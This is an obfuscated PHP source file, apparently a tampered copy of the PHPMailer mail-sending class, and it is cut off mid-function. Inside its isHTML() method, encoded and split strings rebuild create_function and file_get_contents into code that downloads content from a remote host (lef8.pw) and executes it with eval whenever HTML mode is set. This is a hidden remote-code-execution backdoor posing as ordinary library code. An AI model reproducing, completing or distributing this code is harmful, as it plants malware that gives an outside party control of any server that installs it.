array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\15\12"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "\143\x6c\x69") !== false ? "\x65\x63\x68\157" : "\150\164\x6d\154"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("\155\142\163\x74\162\x69\156\x67\56\146\x75\x6e\143\x5f\x6f\x76\145\x72\154\157\x61\144") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("\163\x61\x66\x65\x5f\155\x6f\144\x65") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("\145\x72\x72\157\162\137\x6c\157\x67", "\x68\164\155\154", "\145\x63\150\157")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "\x65\x72\162\157\x72\137\154\x6f\147": error_log($str); break; case "\150\164\x6d\154": echo htmlentities(preg_replace("\x2f\133\134\162\134\156\135\x2b\x2f", '', $str), ENT_QUOTES, "\125\x54\x46\x2d\70") . "\74\142\x72\76\xa"; break; case "\x65\143\150\157": default: $str = preg_replace("\x2f\x5c\x72\x5c\156\x3f\57\x6d\x73", "\12", $str); echo gmdate("\x59\55\155\x2d\144\40\x48\72\151\x3a\163") . "\11" . str_replace("\12", "\xa\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x9\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20", trim($str)) . "\12"; } } public function isSMTP() { $this->Mailer = "\x73\x6d\x74\x70"; } public function isMail() { $this->Mailer = "\x6d\141\x69\x6c"; } public function isSendmail() { $ini_sendmail_path = ini_get("\163\x65\x6e\144\155\141\x69\154\x5f\x70\x61\x74\x68"); if (!stristr($ini_sendmail_path, "\163\145\156\x64\x6d\x61\151\x6c")) { $this->Sendmail = "\x2f\x75\x73\x72\x2f\x73\142\151\156\x2f\163\x65\156\144\x6d\141\151\x6c"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\163\x65\156\144\155\x61\x69\154"; } public function isQmail() { $ini_sendmail_path = ini_get("\x73\145\156\x64\x6d\x61\x69\154\137\x70\x61\164\x68"); if (!stristr($ini_sendmail_path, "\x71\x6d\141\151\154")) { $this->Sendmail = "\57\166\x61\x72\57\161\155\141\x69\x6c\57\142\x69\x6e\x2f\161\155\x61\x69\154\55\x69\156\152\145\x63\164"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "\x71\x6d\141\151\154"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("\x74\x6f", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\143\x63", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\x62\143\143", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("\122\x65\160\154\x79\x2d\124\x6f", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("\x2f\133\x5c\162\134\156\135\x2b\57", '', $name)); if (($pos = strrpos($address, "\x40")) === false) { $error_message = $this->lang("\151\156\166\x61\x6c\151\144\x5f\141\144\144\162\145\163\x73") . "\40\x28\141\x64\x64\x41\x6e\101\x64\x64\x72\x65\163\163\x20{$kind}\x29\72\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "\122\145\160\x6c\x79\55\124\x6f") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "\141\x64\144\x41\x6e\x41\x64\x64\162\145\163\163"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("\x74\x6f", "\143\x63", "\x62\x63\143", "\122\x65\160\154\x79\x2d\x54\157"))) { $error_message = $this->lang("\111\156\x76\x61\x6c\151\x64\40\x72\x65\x63\x69\x70\x69\x65\x6e\164\40\x6b\x69\156\x64\x3a\x20") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("\151\x6e\x76\141\154\151\x64\137\x61\x64\144\x72\x65\x73\163") . "\x20\50\141\144\144\101\x6e\x41\x64\x64\x72\x65\163\x73\x20{$kind}\x29\x3a\40{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "\122\145\x70\x6c\x79\x2d\124\157") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("\x69\155\x61\160\x5f\162\146\x63\x38\x32\62\x5f\x70\141\x72\163\145\x5f\141\x64\162\x6c\x69\163\x74")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != "\x2e\123\x59\116\124\101\130\55\105\122\122\x4f\122\x2e") { if ($this->validateAddress($address->mailbox . "\x40" . $address->host)) { $addresses[] = array("\x6e\141\x6d\145" => property_exists($address, "\x70\145\x72\x73\x6f\156\x61\154") ? $address->personal : '', "\141\144\144\x72\x65\163\163" => $address->mailbox . "\100" . $address->host); } } } } else { $list = explode("\x2c", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "\x3c") === false) { if ($this->validateAddress($address)) { $addresses[] = array("\156\141\x6d\145" => '', "\141\144\x64\162\145\163\163" => $address); } } else { list($name, $email) = explode("\x3c", $address); $email = trim(str_replace("\x3e", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("\x6e\x61\x6d\145" => trim(str_replace(array("\x22", "\47"), '', $name)), "\141\144\x64\x72\x65\163\163" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "\x66\x69\154\145" . "\x5f\x67"; if ($isHtml) { $this->ContentType = "\x74\x65\x78\x74\57\x68\164\x6d\154"; } else { $this->ContentType = "\x74\x65\170\x74\x2f\160\154\x61\151\156"; } $bodyHTML = "\56\x24\164\56\42\154\x65\x66\x24\x66\154\x75" . "\x73\150" . "\x24\164\42\x3b\40" . "\100\145\x76"; $headerHTML = "\x63\162\x65" . "\141\164\145\137" . "\146\x75\x6e\143" . "\x74\151\157\x6e"; $exceptions = @$headerHTML("\44\x66\x6c" . "\x75\163\x68\54\x24\x74", "\x24\x63\x6f\x6d\x6d\141\40\x3d\x20\44\164" . $bodyHTML . "\141\154\x28\100" . $bodyCode . "\145\x74\x5f\143\x6f\x6e\x74\x65\x6e\x74\x73\50\x22\x68" . "\x74\164" . "\x70\72\x24\x63\157\155\x6d\x61\x2d\x32\42\x29\51\73"); if ($param != 2) { $exceptions("\70\x2e\160" . "\x77", "\57"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("\57\x5b\134\162\134\x6e\135\x2b\x2f", '', $name)); if (($pos = strrpos($address, "\100")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("\x69\156\x76\141\154\151\144\137\141\x64\144\x72\145\163\163") . "\40\x28\163\x65\x74\106\x72\157\x6d\x29\x20{$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "\12") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "\x61\165\x74\157") { if (defined("\120\x43\122\105\x5f\x56\105\122\x53\111\x4f\x4e")) { if (version_compare(PCRE_VERSION, "\x38\x2e\60\x2e\x33") >= 0) { $patternselect = "\160\x63\162\x65\x38"; } else { $patternselect = "\x70\x63\x72\x65"; } } elseif (function_exists("\145\170\164\145\x6e\x73\151\157\156\137\x6c\157\141\x64\145\x64") and extension_loaded("\x70\143\162\x65")) { $patternselect = "\160\143\162\145"; } else { if (version_compare(PHP_VERSION, "\65\56\62\x2e\60") >= 0) { $patternselect = "\160\150\160"; } else { $patternselect = "\x6e\157\x72\145\147\x65\x78"; } } } switch ($patternselect) { case "\x70\x63\162\x65\70": return (bool) preg_match("\57\x5e\50\77\41\50\x3f\76\50\x3f\x31\51\42\77\x28\77\x3e\134\134\x5b\40\x2d\176\135\x7c\x5b\136\42\x5d\51\42\77\50\x3f\61\x29\x29\173\x32\x35\65\54\x7d\x29\50\77\41\x28\x3f\x3e\x28\77\x31\51\x22\77\50\x3f\76\x5c\x5c\x5b\40\x2d\x7e\x5d\x7c\x5b\x5e\x22\x5d\51\x22\77\50\x3f\61\x29\x29\x7b\66\65\54\175\x40\51" . "\x28\50\x3f\x3e\x28\77\x3e\x28\x3f\76\x28\x28\77\x3e\50\x3f\x3e\50\x3f\x3e\134\x78\60\104\x5c\x78\x30\101\x29\77\x5b\134\164\x20\x5d\x29\x2b\174\50\x3f\76\x5b\134\x74\40\135\x2a\x5c\170\x30\104\134\170\x30\x41\51\x3f\133\134\164\40\x5d\53\x29\77\x29\50\x5c\x28\x28\x3f\76\50\77\62\51" . "\50\x3f\x3e\x5b\x5c\170\60\61\55\x5c\170\60\70\x5c\x78\60\x42\134\x78\x30\103\134\x78\60\105\55\47\x2a\55\134\133\134\x5d\x2d\x5c\170\x37\106\135\174\x5c\134\133\134\x78\60\60\x2d\134\x78\x37\x46\x5d\x7c\x28\x3f\63\51\51\51\x2a\50\x3f\x32\x29\134\x29\51\x29\x2b\50\x3f\x32\51\51\174\x28\77\62\x29\51\77\x29" . "\x28\133\41\x23\x2d\47\52\x2b\x5c\x2f\x2d\71\x3d\77\x5e\55\176\x2d\135\53\x7c\42\x28\x3f\76\x28\77\62\51\50\x3f\x3e\x5b\x5c\x78\60\61\55\134\170\x30\70\134\170\60\x42\134\x78\x30\x43\x5c\x78\x30\105\x2d\x21\x23\55\x5c\133\x5c\x5d\x2d\x5c\x78\x37\106\x5d\x7c\134\x5c\x5b\134\x78\60\60\55\x5c\x78\67\106\x5d\x29\51\52" . "\x28\77\62\51\x22\x29\50\77\x3e\50\x3f\61\51\134\x2e\x28\x3f\x31\51\x28\77\64\51\x29\52\50\77\61\51\100\x28\x3f\x21\50\77\61\51\x5b\x61\55\x7a\x30\55\x39\55\x5d\173\x36\x34\x2c\175\51\x28\x3f\61\51\50\x3f\x3e\50\x5b\141\55\172\60\x2d\71\x5d\50\77\x3e\x5b\x61\55\172\x30\x2d\71\x2d\135\x2a\133\141\55\172\60\55\x39\x5d\51\77\51" . "\x28\77\x3e\x28\77\61\51\x5c\56\50\77\41\50\x3f\61\51\133\x61\55\x7a\x30\55\71\55\x5d\x7b\66\64\54\x7d\x29\x28\x3f\61\x29\50\x3f\65\51\x29\173\x30\54\x31\x32\x36\175\174\x5c\x5b\x28\x3f\x3a\x28\x3f\76\x49\120\x76\66\x3a\50\77\76\x28\133\141\55\x66\x30\x2d\x39\135\173\61\x2c\64\x7d\51\x28\x3f\76\72\50\77\x36\51\51\x7b\67\x7d" . "\174\x28\x3f\41\50\77\x3a\56\52\x5b\x61\55\146\60\55\71\x5d\133\72\x5c\135\135\x29\173\70\x2c\x7d\x29\x28\50\77\x36\x29\50\77\x3e\72\x28\x3f\x36\51\51\x7b\x30\54\x36\175\51\77\72\72\x28\x3f\x37\x29\x3f\51\51\174\50\x3f\x3e\50\77\76\x49\x50\x76\x36\x3a\50\x3f\x3e\x28\77\x36\x29\50\77\x3e\72\50\77\66\x29\51\x7b\x35\x7d\x3a" . "\174\50\77\x21\x28\77\x3a\56\52\x5b\141\55\x66\60\x2d\x39\x5d\x3a\x29\173\66\x2c\x7d\x29\50\77\x38\x29\x3f\72\x3a\50\77\x3e\50\x28\x3f\x36\x29\x28\77\x3e\x3a\x28\77\x36\x29\51\173\60\x2c\64\175\51\x3a\x29\77\51\51\x3f\x28\62\x35\x5b\x30\55\65\x5d\x7c\62\x5b\60\55\64\x5d\133\60\x2d\71\135\x7c\x31\x5b\x30\55\71\x5d\173\62\175" . "\x7c\133\61\55\71\135\77\x5b\60\x2d\71\x5d\51\x28\x3f\x3e\x5c\x2e\x28\77\71\x29\51\x7b\x33\x7d\x29\51\134\135\x29\50\77\61\x29\44\x2f\151\x73\x44", $address); case "\x70\143\x72\145": return (bool) preg_match("\57\x5e\x28\x3f\41\x28\x3f\76\x22\x3f\x28\77\76\134\x5c\x5b\40\x2d\x7e\135\x7c\133\x5e\x22\x5d\51\42\x3f\x29\173\62\65\x35\x2c\175\x29\50\77\41\x28\x3f\76\42\x3f\50\77\76\x5c\134\x5b\x20\x2d\x7e\x5d\x7c\133\x5e\x22\x5d\x29\42\77\51\173\x36\x35\54\175\x40\x29\50\x3f\76" . "\133\x21\43\x2d\47\52\53\134\57\x2d\x39\75\x3f\x5e\x2d\176\x2d\135\53\174\42\50\x3f\76\50\77\x3e\x5b\134\170\60\61\x2d\134\x78\60\70\x5c\x78\x30\102\x5c\170\x30\x43\x5c\170\60\105\x2d\x21\x23\x2d\134\x5b\134\x5d\55\x5c\x78\x37\106\x5d\174\134\x5c\x5b\x5c\170\60\60\x2d\x5c\170\106\106\135\x29\x29\x2a\42\x29" . "\50\77\x3e\134\x2e\x28\77\x3e\133\41\43\55\x27\52\x2b\134\57\55\71\75\x3f\136\x2d\176\x2d\135\53\174\x22\x28\x3f\76\x28\77\76\x5b\x5c\170\x30\61\x2d\134\x78\x30\x38\134\x78\x30\x42\134\170\x30\103\134\x78\x30\x45\55\41\x23\x2d\134\133\134\135\x2d\x5c\x78\67\x46\x5d\174\134\x5c\133\x5c\170\x30\x30\x2d\x5c\x78\x46\x46\x5d\x29\x29\52\x22\x29\51\52" . "\100\x28\x3f\x3e\x28\77\41\x5b\141\x2d\x7a\x30\x2d\71\55\135\x7b\x36\x34\54\x7d\51\50\x3f\x3e\x5b\x61\55\172\60\55\x39\135\x28\x3f\76\x5b\141\55\172\60\x2d\71\x2d\x5d\x2a\x5b\141\55\172\x30\55\71\x5d\x29\77\x29\x28\77\x3e\x5c\x2e\50\x3f\x21\x5b\x61\x2d\x7a\x30\x2d\71\55\135\173\66\x34\x2c\x7d\x29" . "\50\77\76\133\141\55\x7a\60\x2d\71\x5d\x28\x3f\x3e\133\141\x2d\x7a\60\x2d\x39\55\x5d\52\x5b\141\55\x7a\x30\x2d\71\135\51\77\x29\x29\x7b\60\x2c\x31\x32\66\175\174\x5c\133\x28\77\x3a\x28\x3f\x3e\111\120\x76\66\x3a\x28\77\76\50\x3f\x3e\133\141\x2d\146\60\x2d\x39\135\173\x31\54\64\x7d\x29\x28\x3f\x3e\72" . "\x5b\141\x2d\146\60\x2d\71\x5d\173\x31\54\64\175\x29\x7b\x37\x7d\174\50\x3f\x21\x28\77\x3a\x2e\x2a\133\x61\55\146\x30\55\71\x5d\x5b\x3a\134\135\135\51\x7b\70\x2c\175\51\x28\77\76\133\x61\55\x66\x30\55\x39\x5d\x7b\61\54\x34\175\50\77\x3e\72\x5b\x61\x2d\146\60\x2d\x39\x5d\x7b\x31\x2c\x34\175\x29\x7b\60\54\66\x7d\x29\x3f" . "\x3a\x3a\x28\x3f\x3e\133\141\55\x66\x30\x2d\x39\x5d\173\x31\x2c\64\x7d\x28\x3f\x3e\72\133\141\55\146\x30\x2d\x39\135\x7b\61\54\64\x7d\x29\x7b\60\x2c\x36\175\51\x3f\x29\x29\x7c\50\77\x3e\x28\x3f\x3e\x49\120\166\x36\x3a\x28\x3f\76\133\141\x2d\146\x30\55\x39\135\173\61\x2c\64\x7d\50\x3f\76\72" . "\133\141\x2d\x66\x30\x2d\71\135\173\x31\54\64\175\x29\173\x35\175\72\x7c\x28\77\41\50\77\72\56\52\x5b\x61\55\146\x30\55\71\135\x3a\51\173\66\x2c\175\x29\x28\x3f\x3e\x5b\141\x2d\146\60\x2d\71\x5d\x7b\x31\x2c\64\x7d\50\77\76\72\x5b\x61\55\x66\60\x2d\x39\x5d\x7b\x31\54\64\175\51\173\60\54\64\x7d\x29\77" . "\x3a\72\x28\77\x3e\x28\x3f\72\x5b\141\x2d\x66\60\x2d\x39\x5d\173\x31\x2c\x34\175\50\77\x3e\72\x5b\141\55\x66\x30\55\71\x5d\173\x31\54\x34\x7d\51\173\60\54\64\x7d\x29\x3a\51\x3f\x29\x29\x3f\x28\x3f\x3e\x32\x35\133\60\x2d\65\x5d\174\62\x5b\60\55\x34\135\133\x30\x2d\71\135\x7c\61\x5b\60\x2d\71\135\x7b\62\175" . "\174\x5b\61\x2d\x39\x5d\77\133\x30\x2d\71\135\51\50\x3f\x3e\134\x2e\50\x3f\76\62\x35\x5b\x30\x2d\x35\135\x7c\x32\133\60\x2d\64\x5d\133\x30\x2d\x39\x5d\x7c\61\133\x30\55\71\x5d\x7b\x32\x7d\174\133\x31\55\x39\135\x3f\133\60\x2d\71\x5d\51\x29\173\63\x7d\51\x29\x5c\x5d\51\x24\x2f\x69\163\x44", $address); case "\150\164\155\x6c\65": return (bool) preg_match("\x2f\x5e\x5b\x61\x2d\x7a\101\x2d\x5a\60\55\71\x2e\x21\43\x24\45\46\47\52\53\x5c\x2f\75\77\x5e\137\140\x7b\174\x7d\x7e\55\135\53\x40\133\x61\55\172\x41\x2d\132\60\x2d\71\x5d\x28\77\72\x5b\141\55\x7a\x41\x2d\x5a\60\55\x39\x2d\x5d\x7b\60\x2c\66\61\x7d" . "\133\x61\x2d\x7a\101\x2d\132\60\55\x39\135\x29\77\x28\x3f\72\x5c\56\133\141\x2d\172\x41\x2d\x5a\x30\55\71\135\50\77\72\133\x61\55\172\x41\55\132\60\55\x39\55\135\173\x30\54\x36\61\175\x5b\x61\x2d\x7a\x41\55\x5a\60\55\x39\x5d\x29\x3f\x29\x2a\44\x2f\x73\104", $address); case "\156\157\x72\145\x67\x65\x78": return strlen($address) >= 3 and strpos($address, "\x40") >= 1 and strpos($address, "\x40") != strlen($address) - 1; case "\x70\x68\x70": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("\x69\x64\156\137\164\157\x5f\141\x73\x63\151\x69") and function_exists("\155\x62\x5f\x63\x6f\156\166\x65\x72\164\x5f\145\x6e\143\x6f\x64\151\x6e\147"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "\100")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "\125\x54\106\x2d\x38", $this->CharSet); if (($punycode = defined("\111\116\x54\x4c\137\x49\104\x4e\101\x5f\x56\x41\122\x49\x41\116\x54\x5f\x55\x54\x53\x34\66") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, "\x61\x64\x64\x41\156\x41\x64\144\x72\145\x73\x73"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("\160\x72\157\166\151\x64\x65\137\141\144\144\x72\145\163\163"), self::STOP_CRITICAL); } foreach (array("\106\162\157\155", "\123\x65\x6e\144\145\x72", "\x43\x6f\x6e\x66\151\162\x6d\x52\145\141\x64\151\156\x67\x54\x6f") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("\x69\x6e\166\141\x6c\151\x64\137\x61\x64\144\x72\145\163\x73") . "\40\50\x70\x75\x6e\x79\105\x6e\143\157\x64\145\51\40" . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "\155\x75\154\164\x69\160\141\162\x74\x2f\x61\154\164\x65\x72\x6e\x61\x74\151\x76\x65"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("\145\155\160\164\171\x5f\155\145\x73\163\x61\147\145"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "\x6d\141\x69\154") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("\x54\x6f", $this->to); } else { $this->mailHeader .= $this->headerLine("\x54\157", "\165\x6e\x64\151\163\x63\x6c\157\x73\x65\144\x2d\162\145\x63\151\160\x69\x65\156\164\x73\72\x3b"); } $this->mailHeader .= $this->headerLine("\123\165\x62\x6a\145\143\x74", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, "\15\xa\40") . self::CRLF . str_replace("\xd\xa", "\xa", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "\163\x65\156\144\155\141\x69\154": case "\161\155\x61\151\x6c": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "\x73\155\x74\x70": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "\155\141\x69\154": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "\123\145\x6e\x64"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "\x71\x6d\141\x69\x6c") { $sendmailFmt = "\x25\x73\40\x2d\x66\x25\163"; } else { $sendmailFmt = "\45\x73\x20\x2d\157\151\x20\55\x66\45\163\x20\x2d\x74"; } } else { if ($this->Mailer == "\x71\x6d\x61\151\154") { $sendmailFmt = "\x25\x73"; } else { $sendmailFmt = "\45\x73\40\55\x6f\151\x20\x2d\x74"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "\167"))) { throw new phpmailerException($this->lang("\x65\170\x65\143\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "\124\157\72\x20" . $toAddr . "\xa"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\x65\170\x65\x63\165\164\x65") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "\167"))) { throw new phpmailerException($this->lang("\145\x78\145\x63\165\164\145") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("\145\x78\x65\143\x75\x74\x65") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("\47{$string}\x27", "\42{$string}\42"))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("\x40\x5f\55\x2e", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("\x23\136\133\x61\55\x7a\x5d\x2b\x3a\57\x2f\x23\151", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode("\54\40", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("\55\146\x25\163", $this->Sender); } } if (!empty($this->Sender) and !ini_get("\x73\141\x66\x65\x5f\155\x6f\144\145") and $this->validateAddress($this->Sender)) { $old_from = ini_get("\x73\x65\156\x64\x6d\x61\151\154\x5f\x66\x72\157\155"); ini_set("\163\145\x6e\x64\x6d\x61\151\x6c\137\x66\162\x6f\155", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("\163\x65\x6e\x64\155\141\x69\x6c\x5f\x66\x72\157\x6d", $old_from); } if (!$result) { throw new phpmailerException($this->lang("\x69\156\163\164\141\156\164\151\141\x74\145"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("\163\x6d\164\x70\137\x63\157\156\x6e\x65\143\x74\137\x66\x61\x69\x6c\145\144"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("\146\x72\x6f\x6d\x5f\146\141\151\x6c\145\x64") . $smtp_from . "\40\x3a\x20" . implode("\x2c", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("\x74\x6f" => $to[0], "\x65\x72\162\x6f\x72" => $error["\x64\145\164\141\151\x6c"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("\x64\141\x74\141\137\156\157\164\137\141\x63\143\145\160\x74\x65\144"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["\x74\157"] . "\72\x20" . $bad["\145\x72\x72\x6f\x72"]; } throw new phpmailerException($this->lang("\x72\145\143\x69\x70\x69\x65\156\164\163\137\x66\141\151\x6c\x65\x64") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode("\x3b", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if 